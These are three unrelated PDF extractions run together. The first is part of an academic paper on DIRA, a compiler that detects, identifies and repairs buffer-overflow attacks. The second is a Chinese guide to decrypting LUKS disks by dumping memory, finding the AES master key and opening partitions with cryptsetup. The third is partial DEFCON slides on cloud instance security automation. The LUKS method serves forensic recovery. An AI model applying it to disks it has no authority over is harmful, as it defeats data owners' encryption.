strncpy(), strcat(), strncat(), bcopy() Network I/O readv(), recv(), recvfrom() Inter-procedural jumps setjmp(), longjmp() Memory management malloc(), calloc(), realloc(), free(), strdup() Privilege management seteuid(), setreuid(), setegid(), setregid() Process creation fork() File I/O read(), fread(), scanf(), vscanf(), fscanf(), vfscanf(), gets(), fgets() Format string sprintf(), snprintf(), vsprintf(), vsnprintf(), Table 2. The set of functions that DIRA needs to proxy to support attack identification and repair. the memory updates log will need to be remapped. In- stead, we use a deferred free() approach. When the pro- gram calls free(), the proxy_free() function just puts the address of the object into the log without freeing up the object. At repair time, we do not need to do anything to restore the original object since it is kept in the memory. Finally, the proxy_realloc() function saves the orig- inal pointer in the buffer, replaces the original realloc() call with a malloc() call and saves the pointer to the newly allocated memory as well. Then it copies the data to the newly allocated buffer. The length of the data being copied is obtained from the memory buffer header that is preceding the data itself. At repair time, the newly allo- cated object is deallocated. The description above suggests that during its normal execution the program will never free up the memory it allocates. However, since the capacity of the memory up- dates log is limited, its records are used in a circular fash- ion. A single record can be reused if the program runs long enough. When a record is reused, its previous con- tent is cleaned up and the recovery of that operation be- comes impossible. A part of the clean up procedure for a proxy_free() buffer entry is the free() operation that was deferred before. Inter-procedural Jump Functions. Function longjmp() performs an inter-procedural jump to one of the dynamic ancestors of the current function. To keep the memory updates log consistent, we need to add a proper number of function exit tags to the log. This number equals the number of functions skipped by longjmp(). To determine it at run time, we proxy both setjmp(jmp_buf) and longjmp(jmp_buf, state). The proxy_setjmp() function logs the address of the jmp_buf variable. The proxy_longjmp() function searches the memory updates log for a log entry corre- sponding to setjmp() call that filled in the jmp_buf used in proxy_longjmp(). Once it finds the proper log entry, it can find out the nesting level of the current function with respect to the target function and thus compute the required number of function exit tags to be added. Privilege Management Functions. Many programs change their effective user ID and group ID values for se- curity reasons. At repair time, the proper values need to be restored to give the program same access rights as those it had at the chosen restart point. This is achieved by proxy- ing functions such as seteuid() and setegid(). These functions save the original value of uid or gid in the data field of a memory updates log record. The read_addr field holds the proper proxy function tag that allows the repair procedure to identify such log records and call ap- propriate privilege management functions with the val- ues stored in the data field. A privileged process calling setuid() can replace its effective user ID with a nonzero effective user ID in which case the old effective user ID can never be restored. In this case, there is no way for the recovery process to restore the original effective user ID without explicit system support. Process Management Functions. When a program compiled by DIRA forks a new process, the two processes can access their memory updates logs concurrently be- cause of the copy-on-write semantics of fork() system call. In this case, two versions of the log are created auto- matically by the OS. However, if a buffer overflow attack is detected in one of the processes then the repair proce- dure might require the program to be rolled back to the point before a new process was forked. The current ver- sion of DIRA does not consider the problem of cascading rollback. Instead, if the overflow was detected in the par- ent process then all child processes that have been forked after the new restart point are killed. However, if an at- tack is detected in the child process and the restart point is chosen to be before the point where it was forked, the process is terminated without affecting the parent process in any way. The proxy_fork() function inserts special tags in both parent’s and child’s process logs to facilitate this process. 3.5. Limitations The memory updates logging algorithm currently used in the DIRA compiler is designed for simplicity, and thus has much room for performance optimization. For ex- ample, because the current DIRA compiler only tracks data dependencies carried by simple assignment opera- tions and proxied functions, it cannot identify dependen- cies that involve any arithmetic expressions, e.g., B=A+C. This means that DIRA’s recovery module may not be able to trace a corrupted control-sensitive data structure back to a malicious network packet if the former is derived from the latter through any form of transformation other than assignment operations. It is possible to generalize the cur- rent memory updates logging algorithm by leveraging in- formation from data flow analysis techniques that allow DIRA to identify and log those and exactly those state- ments that may be data dependent on the network packets. Data/control flow analysis can also improve the effi- ciency of state checkpointing. Ideally, the pre-image of each global or static variable needs to be recorded ex- actly once for each logical checkpoint. However, because a function may be called from different places and the cur- rent DIRA compiler does not perform inter-procedural control flow analysis, the pre-image of each global or static variable used in a function is recorded at least once per invocation of that function. Furthermore, due to alias- ing, the pre-image of the same global or static variable may be logged multiple times within a function invoca- tion. Data/control flow knowledge can help eliminate un- necessary recording of pre-images, e.g., when a global variable is repeatedly updated within a loop. The current version of DIRA can only handle concur- rent accesses to the memory updates log from processes that are launched through fork() system call. However, it does not recognize other forms of fork such as vfork(). In these cases, some form of locking mechanism is re- quired to provide exclusive access to the memory updates log. It is also possible that a program performs some file or network I/O operations between the point when the at- tack packets were read in and when the attack was de- tected. In this case, restoring the memory image of the program without restoring the underlying file system state might lead to an inconsistent state of the program. Ideally, both memory and file system repair should be performed. The current DIRA prototype does not support file system repair. Signals are frequently used in network daemons as a means of scheduling exceptional events. Currently, DIRA’s repair mechanism does not support undo of sig- nals. Ideally, all signals that were set after the new restart point need to be canceled. 4. Implementation Issues 4.1. Source Code Instrumentation The current DIRA prototype is implemented as an ex- tension to GCC 3.3.3. When compiling a program, GCC converts the source code to a number of representations. First, it translates the program into an Abstract Syntax Tree (AST). Then, the AST representation is converted into a Register Transfer Language (RTL) representation. Finally, the RTL code is converted into the machine code for the target platform. DIRA instruments the source code at two levels: AST level and machine language level. The latter is used to generate special prologue/epilogue code that supports return address defense as well as in- serts function entry/exit tags. Currently, DIRA supports only the IA-32 platform. The code required to support memory updates log- ging is inserted to the source code directly when it is represented as an AST. DIRA converts each tree of type MODIFY_EXPR representing an assign- ment operation X=Y into a compound tree of type COMPOUND_EXPR that is equivalent to the following C code: (log(X,Y,sizeof(Y)), X=Y);. Such a trans- formation can be inserted at any place in the source code. All unary arithmetic operations (such as ++ and --) contained in the original expression are stripped off when the logging call is made to avoid repeated variable modi- fication. To proxy necessary function calls DIRA checks all CALL_EXPR trees in the original program. If the func- tion name of the function call is one of those that need to be proxied, DIRA replaces the original function name with the proxied function name. In order to support restart points, DIRA replaces the original CALL_EXPR with a COMPOUND_EXPR that first makes a call to setjmp() to insert a restart point and then makes the original function call. 4.2. Transparent Library Compilation Often programs need to be linked with several non- standard libraries. At the same time, same libraries can be reused by multiple applications. Some applications (typically server-side applications) might need DIRA sup- port whereas others (typically client-side applications) will most likely not. Therefore, both instrumented and uninstrumented versions of some libraries should exist in the system. A naive approach would be to have two ver- sions of the same library under different names. However, in this case one will have to go through all the Makefiles of the program and change every occurrence of the name of the old library to that of the instrumented library if the program needs DIRA support. Another drawback of this approach is the fact that a program would not be able to switch from one version of the library to another without being recompiled. A better solution of this problem is to duplicate the code of every function in all the source files that consti- tute the library. The first copy of the function is instru- mented whereas the second one is left intact. DIRA in- serts an if-statement in the beginning of each function and makes the two copies of the original function its then and else branches. The if-statement checks whether the fol- lowing condition is true or not: need_logging==NULL or *need_logging==0, where int *need_logging is a special variable inserted by DIRA to the original pro- gram. If the condition is true, then the unmodified version of the code is executed. Otherwise, the control flow is transfered to the instrumented version. When an applica- tion that does not require DIRA support is linked with a DIRA-compiled library, the control will always be trans- fered to the uninstrumented version of the code since the application is not aware of the need_logging variable which is set to NULL by default. This code duplicating approach introduces several im- plementation issues. The first issue is related to code gen- eration for switch statements. GCC creates a set of labels (trees of type CASE_LABEL) for each case expression of the switch statement. When the second copy of the func- tion is compiled, these labels are reused instead of being recreated. As a result, the control is transfered to the first version of the code that was compiled before. The solu- tion to this problem is to recreate the labels each time a switch statement is processed regardless of whether they were created before or not. The second issue is related to a common optimization performed by GCC. When it generates RTL code for a complex AST expression, GCC wraps this AST into a tree of type SAVE_EXPR, which in- dicates that there is an RTL code available for the original AST expression and there is no need to process it again. However, DIRA requires that all ASTs be processed twice since otherwise the logging code might not be generated for the second copy of the AST. To ensure that this is the case, DIRA wraps the trees of type SAVE_EXPR into the trees of type UNSAVE_EXPR and nullifies the effect of SAVE_EXPR. Sometimes, a program needs to be linked with a library which source code is not available. In this case, DIRA will still be able to compile and link the program, but all mem- ory manipulations that happen inside the uninstrumented library will not be tracked. As a result, it might not be possible to detect an attack if one of the uninstrumented functions is responsible for it or to identify it since the variable dependency chain might be broken because of a call to an uninstrumented function. Also, it will be impos- sible to undo the side effects of such functions at repair time which can lead to memory leaks or even worse to an inconsistent memory state of the program. 5. Evaluation of DIRA 5.1. Performance Overhead In this section we present the evaluation of DIRA. We are interested in its compilation time overhead, executable code size increase, and several run-time characteristics such as the amount of log information generated and the performance overhead when a program is compiled in three different modes of DIRA: D-mode, DI-mode, and DIR-mode. We also describe our experiences with at- tempts to compromise programs compiled by DIRA and discuss whether repairing the programs is worthwhile at all or restarting them from the beginning is a better strat- egy. We used a test suite of five network daemons in our ex- periments: ghttpd 1.4 — an http server, drcatd 0.5.0 — a remote cat daemon, named 8.1 — DNS daemon which is a part of BIND program, qpopper 4.0.4 — a POP3 server, and proftpd 1.2.9 — an FTP server. We used several exploit programs for the three programs of our test suite: named, ghttpd, and drcatd available at Fyodor’s Remote Exploit Archive [15] and Securiteam’s website [5]. Our experiments proved that the instrumented versions of these programs can detect attacks, identify at- tack packets and continue their execution normally after repair (the latest is true for 2 out of 3 programs that we tried to compromise). Program Log records Log size, KB ghttpd 457 32 drcatd 4,000 408 named 832 39 qpopper 27,000 586 proftpd 70,000 2073 Table 4. Number of log records generated for a single client request as described in Table 3 as well as the total log size (KB) generated per client request. The hardware setup used in the performance experi- ments is as follows. The network daemon being tested was running on a server machine with a Pentium-4M 1.7GHz processor and 512 MB of RAM. There were two client machines with AMD Athlon 1.7GHz processors equipped with 512 MB of RAM each. All machines were running the Linux 2.4.19 kernel. The machines were located in the same 100 Mbps local network. All programs were com- piled on the server machine with options -g -O. To measure several run-time characteristics of the in- strumented server programs, the client machines were running special programs that were simultaneously send- ing a number of requests to the server machine. The de- scription of the performance tests is given in Table 3. The left table in Figure 5 presents the measurements of compilation time overhead, and shows that the compile time overhead varies significantly from program to pro- gram and can be between 130% and 550%. The right table in Figure 5 shows the difference between the executable file size produced by DIRA and that by the original GCC compiler. Since DIRA duplicates the code of each function, one might expect that the executable pro- duced by DIRA will be twice as large as the executable produced by standard GCC. This turns out to be the case for small programs such as ghttpd and drcatd, but does not hold for larger program. Most likely, this hap- pens because a binary usually contains a number of sec- tions such the data section, PLT section, symbol table sec- tion, etc. and the code section is just one of them. Also, GCC performs several optimizations to reduce the output binary size. This explains why the increase in binary size for larger programs is only 20-40% instead of expected 100%. We conducted several series of experiments to measure different run-time characteristics of instrumented pro- grams. First, we measured the number of memory updates log records as well as the total size of memory updates log (in KB) for a single client request as described in Table 3. The results are presented in Table 4. As the results sug- gest, the dependency between the number of log records Program Type Client request Repeated, times ghttpd HTTP server fetch a 10KB HTML page 5,000 drcatd remote cat daemon fetch a 10KB file 1,000 named DNS server lookup of a domain name 10,000 qpopper POP3 server fetch a 1KB message 200 proftpd FTP server fetch a 40KB file 100 Table 3. Test programs and corresponding performance tests. Program GCC DIRA Overhead, % ghttpd 0.82 3.77 359 drcatd 1.30 4.50 246 named 33.38 79.72 138 qpopper 11.58 26.73 130 proftpd 25.88 169.88 555 Program GCC DIRA Overhead, % ghttpd 87145 174778 100 drcatd 70126 156229 123 named 1452030 2036324 40 qpopper 1371275 1654643 21 proftpd 2257744 3113267 38 Figure 5. Increase in compilation time, sec (left) and the executable file size, bytes (right). and the actual amount of data written to the log is not lin- ear. The reason behind this is the fact that different log records have different actual size. The typical log records types are as follows. The size of a single variable update log record is 16 bytes (4 bytes for read address, 4 bytes for write address, 4 bytes for data length and 4 bytes the ac- tual payload). A potential restart point log record has the size of 160 bytes because it contains a jmp_buf buffer used by setjmp() and longjmp(). Log records gen- erated by proxied string manipulation and network libc functions can have different sizes. Typically, their length varies from several bytes to 1 KB. The goal of our second series of experiments was to measure the run-time performance overhead of the instru- mented programs which is certainly the most important performance metric of DIRA compiler. We compiled all five programs in three compilation modes that DIRA pro- vides: D-mode that supports attack detection only, DI- mode that supports attack detection and identification, and DIR-mode that supports program repair in addition to at- tack detection and identification. The measurements from these experiments are presented in Figure 6 and suggest that the run-time overhead can vary significantly depend- ing on the programs’ memory access behavior and can range from 8% to 60% for programs that support attack detection, identification, and recovery. The experiments showed that the run-time overhead of programs compiled in D-mode varies from 0% to 15%. We believe that this overhead is mostly affected by the fre- quency of function calls because it mainly comes from ad- ditional code in the function prologue and epilogue. That is, if functions are relatively long and called infrequently, then there is not much to do for the return address defense mechanism and the overhead can be close to zero percent. If, however, the program contains lots of small functions that call each other then the overhead can be much higher. The run-time overhead of the programs compiled in DI- mode is much higher than that of the programs compiled in D-mode and is between 7% and 50%. Such a difference can be explained by the fact that a program needs to log certain information about its memory state changes such as the read address, the write address, and the length of the data being written. Programs compiled in DI-mode make use of proxy functions to track changes performed by standard libc calls. However, the pre-image of the data being modified is not saved in DI-mode and this is its only difference from DIR-mode. The measured overhead of programs running in DIR- mode turns out to be pretty close to that of programs running in DI-mode due to the reason described above — there are relatively few differences between the two modes. In addition to saving the pre-image of data being modified, programs in DIR mode insert potential restart points by making setjmp() calls and also insert first lo- cal update tags. The main conclusion from these experiments is that the run-time overhead depends on the programming style in which the program was written. There are certain things that can increase the run-time overhead such as breaking up the program into a large number of small functions and using pointer arithmetic extensively. These results also suggest a strong need for a more intelligent checkpoint- ing mechanism that can help reduce the overhead. Instead of saving the data pre-image upon each update, one can save the pre-image of the whole data structure once upon function start. We have also measured the relative frequency of each type of log records written to the memory updates log during a performance benchmark run. The results are pre- sented in Figure 6. Although there seems to be no direct 0 10 20 30 40 50 60 70 80 ghttpd drcatd named qpopper proftpd Overhead, % Program Runtime Performance Overhead D mode DI mode DIR mode 0 0.2 0.4 0.6 0.8 1 1.2 1.4 ghttpd drcatd named qpopper proftpd Fraction of all log records Program Type of Log Records other wrappers string wrappers function boundaries first local update variable update Figure 6. Run-time overheads for different modes of compilation (left) and the relative frequency of different types of log records (right). correlation between the frequency of types of log records and the run-time overhead, these results still suggest that programs with higher overhead (such as qpopper) insert more records for variable updates and first local update tags. Indeed, these two types of records account for 90% of all records that qpopper) had written to the log. These results suggest once again a need for a more sophisticated checkpointing algorithm that can help reduce the number of variable update log records as well as a more intelligent mechanism for choosing the restart points. The current mechanism relies on information about local updates to determine where restart points are, and consequently re- quires generating a lot more first local update records than necessary. Ideally, such a mechanism should use depen- dency analysis techniques such as slicing to find out points in the program that can eventually lead to a function that reads external data. Only those points can be program’s potential restart points. In our next series of experiments we measured the amount of file and network I/O activity performed by the programs from our test suite. This information can help answer the question of whether the file system and net- work undo is indeed required for the repair process or the programs can be repaired and continue their execu- tion without file system and network undo. The results are presented in Table 5. The results showed that 3 out of 5 programs that we tested do not perform any file out- put operations when serving a single client request. Our analysis of the source code of the remaining two programs showed that the file output operations performed by those programs are used to create temp files and write logging information. We believe that this information is not a crit- ical part of program’s state and therefore leaving it after Program File IN File OUT Net IN Net OUT ghttpd 45 0 1 49 drcatd 319 0 3 320 named 0 0 1 1 qpopper 41 80 5 7 proftpd 13 63 11 61 Table 5. Network and file I/O activity for a single client request as described in Table 3. an attack will not bring the program into an inconsistent state. The network output operations performed by the programs are related to communicating with the client that initiated the connection only. Therefore, if that client turns out to be malicious there is no need to undo the effects of network operations for such a client. These observations allow us to conclude that file system and network undo support is not really required for the network daemons that we have studied. 5.2. Experiences We tried to compromise named, ghttpd, and drcatd compiled in DIR-mode by using malicious code from public databases [15, 5]. All these attempts failed because the programs were able to detect and identify the attacks. Moreover, two out of three programs could re- pair themselves to the extent that allowed them to continue normal execution. Below we describe our experiences of applying DIRA to each of these programs in more detail. BIND named inverse query vulnerability. BIND named version 8.1 has a bug in its inverse DNS query pro- cessing function allowing the attacker to gain root con- trol of the vulnerable system. Malicious code available to us exploited this vulnerability by sending a single packet and waiting for response. It did not try to run a remote shell on the victim machine. For this particular program, the repair procedure determined that function f_restart is function main() of named. However, it turned out that there were no local variable updates from f_read to f_attack, and therefore the execution could be restarted from f_read (which was function evGetNext() in this case). Format string vulnerability in ghttpd. There is a format string vulnerability in function Log(). The re- pair procedure determined that for this particular program functions f_restart and f_read is the same function serverconnection(). However, since there were a number of local variable updates between the point where the data was read and the point where Log() was called, the execution restarted from the beginning of function f_restart. Still, the initial connection was kept open. The exploit program that we used continued sending pack- ets to the same port as where the initial malicious packet was sent to. These subsequent packets were treated as in- valid requests by the survived program. It sent the “bad request” HTML page back to the exploit program in re- sponse. Format string vulnerability in drcatd. There is a similar vulnerability in the logging function of drcatd. However, in this case function main() turned out to be f_restart. In addition, there were a number of local variable updates between f_read and f_attack. There- fore, the whole program needed to be restarted in case of an attack. This problem can be solved in two ways. The first is to reorganize the source code manually by putting potentially vulnerable parts of the code into a separate function so that the execution can be restarted from it in case of attack. However, this solution requires some un- derstanding of the source code of the program and there- fore is not suitable for automatic program protection. The second solution is to log all memory updates including lo- cal ones. However, current version of DIRA cannot tell automatically whether tracking global updates only will be sufficient or not. Currently, this option can be turned on and off manually. When compiled with this option turned on drcatd can repair itself and continue normal execu- tion. However, even if it turns out that the whole program needs to be restarted the program can still detect the attack and identify it. The analysis presented above shows that it is not always possible to repair a program automatically and that even when it is, the restart point may be quite close to the begin- ning of the program. This raises the question as to whether automated attack repair is useful in practice. We believe automated attack repair is indeed useful for the following reasons. First, with attack repair, dynamic attack detection is now as effective as static analysis in protecting vulner- able applications at run time without suffering from the latter’s false positive problems. More concretely, even if a vulnerable application is compromised, DIRA ensures the application can continue as if the vulnerability does not exist in the first place. Second, automated attack repair is essential to provide protection among clients of single- threaded or event-based network applications. In these ap- plications, requests from multiple clients are processed in the same process. Therefore, terminating an application of this type upon detecting an attack from some client is not acceptable as it also disrupts the service to other clients as well. Finally, DIRA’s automated attack repair can be used together with other types of attack detection meth- ods such as system call argument monitoring, which can detect attacks that could damage a victim application’s ad- dress space without hijacking its control. For these types of attacks, the automated attack repair mechanism can still repair the damaged address space even long after the at- tack takes place. 6. Conclusion In this paper we presented the first known compiler that can transform arbitrary programs to a form that can detect control hijacking attacks, identify the malicious input and repair the compromised program, all without human in- tervention. In addition, the performance overhead of these transformations is shown to be quite modest, even without any aggressive optimizations. There are a number of ways in which the DIRA pro- totype can be improved. First, we aim to improve the efficiency of the memory updates logging mechanism by employing control flow analysis. Currently, DIRA tracks every update to any global variable, even though in theory only the first one needs to be logged. Another problem with the current logging mechanism is that it may miss certain data dependencies, for example, when a local vari- able is used to transfer information between two global variables. Comprehensive data dependency analysis is re- quired to improve the accuracy of attack identification. We are going to address multi-threading issues in more detail in the next version of DIRA. Multiple threads of the same program can concurrently access the memory updates log and other global data structures, and thus introduce additional data dependencies. At repair time, DIRA needs to determine which threads should be rolled back, restore the state of each such thread to the corre- sponding pre-attack state, and resume its execution. We are also planning to broaden the scope of the repair pro- cess by including support for file system undo. Although not common among network applications, file system undo can help erase the side effects of an attack on a file system such as temp files. 7. Acknowledgement We would like to thank the anonymous reviewers and our shepherd Dr. Dawn Song for their valuable comments. This research is supported by NSF awards ACI- 0234281, CCF-0342556, SCI-0401777, CNS-0410694 and CNS-0435373 as well as fundings from Computer As- sociates Inc., New York State Center of Advanced Tech- nology in Sensors, National Institute of Standards and Technologies, Siemens, and Rether Networks Inc. References [1] H. Agrawal, R. A. DeMillo, and E. H. Spafford. An execution-backtracking approach to debugging. In IEEE Software, May 1981. [2] H. Agrawal and J. R. Horgan. Dynamic program slic- ing. In Proceedings of ACM SIGPLAN Conference on Pro- gramming Language Design and Implementation, 1990. [3] T. M. Austin, S. E. Breach, and G. S. Sohi. Efficient detec- tion of all pointer and array access errors. ACM SIGPLAN Notices, 29(6), 1994. [4] A. Baratloo, T. Tsai, and N. Singh. Transparent run-time defense against stack smashing attacks. In Proceedings of USENIX Annual Technical Conference, June 2000. [5] Beyond Security’s SecuriTeam. http://www. securiteam.com. [6] G. Candea and A. Fox. Crash-only software. In Proceed- ings of the 9th Workshop on Hot Topics in Operating Sys- tems (HotOS-IX), 2003. [7] G. Candea, S. Kawamoto, Y. Fujiki, G. Friedman, and A. Fox. A microrebootable system — design, implementa- tion, and evaluation. In Proceedings of Operating System Design and Implementation Conference, 2004. [8] T.-C. Chiueh and F.-H. Hsu. RAD: A compile-time solu- tion to buffer overflow attacks. In Proc. of 21st Intl. Conf. on Distributed Computing Systems, 2001. [9] C. Cowan, M. Barringer, S. Beattie, G. Kroah-Hartman, M. Frantzen, and J. Lokier. FormatGuard: Automatic pro- tection from printf format string vulnerabilities. In Pro- ceedings of 10th USENIX Security Symposium, August 2001. [10] C. Cowan, C. Pu, D. Maier, J. Walpole, P. Bakke, S. Beat- tie, A. Grier, P. Wagle, Q. Zhang, and H. Hinton. Stack- Guard: Automatic detection and prevention of buffer- overflow attacks. In Proceedings of the 7th USENIX Se- curity Conference, January 1998. [11] H. Etoh. GCC extensions for protecting applications from stack-smashing attacks. http://www.trl.ibm. com/projects/security/ssp, June 2000. [12] D. Evans, J. Guttag, J. Horning, and Y. M. Tan. LCLint: A tool for using specifications to check code. In Proceedings of the ACM SIGOFT Symposium on the Foundations of Software Engineering, December 1994. [13] S. Feldman and C. Brown. Igor: A system for program de- bugging via reversible execution. In ACM SIGPLAN No- tices, Workshop on Parallel and Distributed Debugging, January 1989. [14] M. Frantzen and M. Shuey. StackGhost: Hardware facili- tated stack protection. In Proceedings of the 10th USENIX Security Sumposium, August 2001. [15] Fyodor. Remote exploits. http://www.insecure. org/sploits_remote.html. [16] L. A. Grenier. Practical code auditing. http://www. daemonkitty.net/lurene, 2002. [17] S. Hangal and M. S. Lam. Tracking down software bugs using automatic anomaly detection. In Proceedings of Int. Conf. Software Engineering, May 2002. [18] R. Hastings and B. Joyce. Purify: Fast detection of mem- ory leaks and access errors. In Proceedings of the Winter USENIX Conference, 1992. [19] S. C. Johnson. Lint, a C program checker. In AT&T Bell Laboratories:Murray Hill, NJ, July 1978. [20] R. Jones and P. Kelly. Bounds checking for C. http://www-ala.doc.ic.ac.uk/~phjk/ BoundsChecking.html, July 1995. [21] H.-A. Kim and B. Karp. Autograph: Toward automated, distributed worm signature detection. In Proceedings of USENIX Security Symposium, 2004. [22] B. Korel and J. Laski. Dynamic program slicing. Informa- tion Processing Letters, 29(3), 1988. [23] B. Korel and J. Laski. Dynamic slicing of computer pro- grams. The Journal of Systems and Software, 13(3), 1990. [24] A. D. Lucia. Program slicing: Methods and applications. In Proceedings of the 1st IEEE International Workshop on Source Code Analysis and Manipulation, 2001. [25] S. L. Min and J.-D. Choi. An efficient cache-based access anomality detection scheme. In Proceedings of the Fourth International Conferenceon Architectural Support for Pro- gramming Languages and Operating Systems, 1991. [26] J. Nazario. Project Pedantic — source code analy- sis tool(s). http://pedantic.sourceforge.net, March 2002. [27] Openwall project. http://www.openwall.com. [28] D. Z. Pan and M. A. Linton. Supporting reverse execution of parallel programs. In Proceedings of the ACM SIG- PLAN/SIGOPS Workhop on Paralleland Distributed De- bugging, January 1989. [29] A. Pasupulati, J. Coit, K. Levitt, S. F. Wu, S. H. Li, J. C. Kuo, and K. P. Fan. Buttercup: On network-based detection of polymorphic buffer-overflow vulnerabilities. In Proceedings of Network Operations and Management Symposium, 2004. [30] M. Prvulovic and J. Torrellas. ReEnact: Using thread-level speculation to debug software; An application to data races in multithreaded codes. In Proceedings of the 30th Annual International Symposium on Computer Architecture, June 2003. [31] O. Ruwase and M. S. Lam. A practical dynamic buffer overflow detector. In Proceedings of the 11th Network and Distributed System Security Symposium, February 2004. [32] Secure software solutions. Rough auditing tool for secu- rity, RATS 2.1. http://www.securesw.com/rats. [33] S. Srinivasan, S. Kandula, C. Andrews, and Y. Zhou. Flashback: A lightweight extension for rollback and de- terministic replay for software debugging. In Proceedings of USENIX Annual Technical Conference, June 2000. [34] P. Team. Non-executable pages design and imple- mentation. http://pax.grsecurity.net/docs/ noexec.txt. [35] T. Toth and C. Kruegel. Accurate buffer overflow detection via abstract payload execution. In Proc. of Intl. Symposium on Recent Advances in Intrusion Detection, 2002. [36] Vendicator. StackShield GCC compiler patch. http:// www.angelfire.com/sk/stackshield, January 2001. [37] J. Viega, J. T. Bloch, T. Kohno, and G. McGraw. ITS4: A static vulnerability scanner for C and C++ code. In Pro- ceedings of the 16th Annual ComputerSecurity Applica- tions Conference, December 2000. [38] D. Wheeler. Flawfinder. http://www.dwheeler. com/flawfinder. [39] J. Wilander and M. Kamkar. A comparison of publicly available tools for static intrusion prevention. In Proc. of 7th Nordic Workshop on Secure IT Systems, 2002. [40] J. Wilander and M. Kamkar. A comparison of publicly available tools for dynamic buffer overflow prevention. In Proc. of 10th Network and Distributed System Security Symposium, 2003. [41] P. Zhou, F. Qin, W. Liu, Y. Zhou, and J. Torrellas. iWatcher: Efficient architectural support for software de- bugging. In Proceedings of the 31st Annual International Symposium on Computer Architecture, 2004.
pdf
1 luks 全盘加密的⼀个通⽤解密⽅法--从内存中提 取LUKS MASTER KEY 前⾔ 破解LUKS全盘加密 从内存镜像中提取MASTER KEY 第⼀步 判断加密算法 第⼆步 DUMP 包含秘钥的内存 第三步 从内存寻找aes key 第四步 解密分区 第五步 解密其他分区 作者:橙⼦酱 之前的⽂章中提到了⼀种有启动分区的情况 磁盘主引导->引导分区->引导内核->系统启动->解密挂载分区 (⼀个引导分区 +⼀个主分区) 遇到这种情况就可以通过简单的提取⽂件系统中的秘钥解决. 但是运⽓不好还会遇到两种更变态的情况 磁盘主引导->引导分区->引导内核->引导内核中解密挂载分区->系统启动->解密挂载分区(只有⼀个引 导分区) 磁盘主引导->磁盘引导程序->解密分区->引导->系统启动->解密其他分区 (⼀个明⽂分区都没有) 前⾔ 2 这时,通常只能通过逆向引导程序来提取内核镜像.最终拿到镜像中的秘钥⽂件. 这个过程⼗分的繁琐. 在没有符号表的情况逆向魔改过的linux引导内核也⾮常困难. 那么有没有⼀个简单的⽅法解决这个问题呢? luks 解密进⾏磁盘后硬盘上的数据实际仍然是加密的. 为了可以实时读写加密分区内的数据,加解密使⽤的秘钥⼀定存在于内存之中. 破解LUKS全盘加密 钱镜洁, 魏鹏, 沈⻓达. LUKS加密卷的离线解密技术分析[J]. 信息⽹络安 全, 2014, 14(9): 217-219. 3 挂载硬盘 使⽤cryptsetup luksDump 判断分区使⽤的加密算法 本⽂使⽤的是 AES 256 加密 (默认加密算法) 在虚拟机第⼀个分区完成解密后,dump虚拟机完整内存 (快照 暂停 命令⾏ 均可) 使⽤⼯具从内存寻找aes key https://sourceforge.net/projects/findaes/ https://github.com/mmozeiko/aes-finder https://www.kali.org/tools/aeskeyfind/ 从内存镜像中提取MASTER KEY 第⼀步 判断加密算法 第⼆步 DUMP 包含秘钥的内存 第三步 从内存寻找aes key 4 选择对应⻓度的key hex转成raw⽂件作为key 第四步 解密分区 5 ryptsetup luksOpen 加密的分区 --master-key-file key⽂件 挂载名 依次尝试各个分区和各个秘钥的组合 ⽆错误返回即为解密成功. 挂载解密后的分区,在解密后寻找⾃动挂载⽂件 /etc/crypttab 得到其他秘钥位置. 之后的步骤就按照之前的⽂章操作 第五步 解密其他分区
pdf
From  0  to  Secure  in  1  Minute DEFCON  23 Nir Valtman &  Moshe  Ferber About  Us Nir  Valtman Moshe  Ferber ü CISO  Retail  in  NCR  Corporation. § We  own  a  private  cloud  &  offering  SaaS § Yes…  we  do  security! ü Instructor  for  Cloud  Security  (CCSK)  – that’s  what  I  really  like  doing Passionate  about  information  security Involved  in  numerous  startups  and  initiatives  – sometimes  with  success,  sometimes  not… Industry  speakers  and  lecturers  – that’s  why  we  are  here I  like  non-­‐ sweating sports! I  don’t  like sport! About  the  talk Cloud  security  challenges  and  benefits And  more  specifically,  using  IaaS automation  and  orchestration  features  for  increasing  the  security Dashboard Billing API Orchestration Hypervisor Controller Abstraction Physical Servers Network Storage About  the  talk Cloud Attack Vectors Provider administration Management console Multi  tenancy & virtualization Automation &  API Chain  of supply Side  channel attack Insecure instances Anatomy  of  a  cloud  hack Anatomy  of  a  cloud  hack  – the  BrowserStack story Shell  shock vulnerability on  unused server Found  API key  on hacked server Using  API key  opened a  firewall rule  and launch  an instance Attached  a backup volume  to the  instance Found database credential on  backup device Connected to  DB SOURCE:  https://www.browserstack.com/attack-­‐and-­‐downtime-­‐on-­‐9-­‐November Do  we  have  the  right  tools? Source:  http://ifail.info/wp-­‐content/uploads/2010/04/street_dentist_thumb.jpg?98bbf9 About  the  talk Micro-­‐Services  Architecture DEV OPS Continuous Delivery 1  hour 10  min 1  min Architecture  & Deployments  is  changing The  billing  cycle  is reducing Google  slashes cloud  platform price  again Microsoft  will  offer Azure  by  the  minute  to take  on  Amazon’s  cloud Microsoft  follows  Google with  by-­‐the-­‐minute  cloud blending AUTO  SCALING About  the  talk How  to  do  security  when  servers  alive  for  10  minutes? Patch  management Maintenance windows Periodic  vulnerability scanning Hardening The image T DON’T  LET  SECURITY  HOLD  YOU  DOWN Source:  www.avon-­‐barrier.co.uk About  the  talk Introducing SOURCE:  http://www.cloudefigo.org/ Based  on  the  work  made  by  Rich  Mogull from  Securosis https://github.com/securosis Cloudefigo Lifecycle Server  launch 1 Server  loads security configuration Server  encrypts disk  volumes Server  scanned  for vulnerabilities Server  moves  to production S3 2 3 4 5 Components Object Storage Vulnerability Scanner Cloud-­‐Init Configuration Management IAM  Roles Volume Encryption Instant  Lifecycle Launch Update Control Scan Production Terminate LAUNCH Prepare Cloudinit ü Each  machine  manage  its  own  attributes § Encryption  keys § Remediation  vs production  groups ü Management  of  these  attributes  require  permissions ü Permissions  during  launch  >  production ü Thus,  a  dynamic  IAM  role  is  required LAUNCH Prepare Cloudinit LAUNCH Prepare Cloudinit ü Executed  in  root  permissions  when  image  is launching. ü Responsible  for  building  the  infrastructure  for  the following  steps. LAUNCH Prepare Cloudinit UPDATE OS  update Pre-­‐requisites ü CloudInit to  update  &  upgrade  software  packages ü Primary  goal  is  to  make  sure  the  cloud  instance  is secure  once  upgraded UPDATE OS  update Pre-­‐requisites ü CloudInit to  install  the  software  packages  required to  operate: § Python  +  pip  +  wheel § AWS  SDK  (Boto) § Chef  Client  +  Chef  SDK  (PyChef) ü Download  configurations  and  scripts  from  S3: § Cloudefigo script § Chef  client  initialization  files ü Cloudinit to  create  and  attach  a  volume  for application  files  and  data. UPDATE OS  update Pre-­‐requisites CONTROL Chef Registration Encrypt ü The  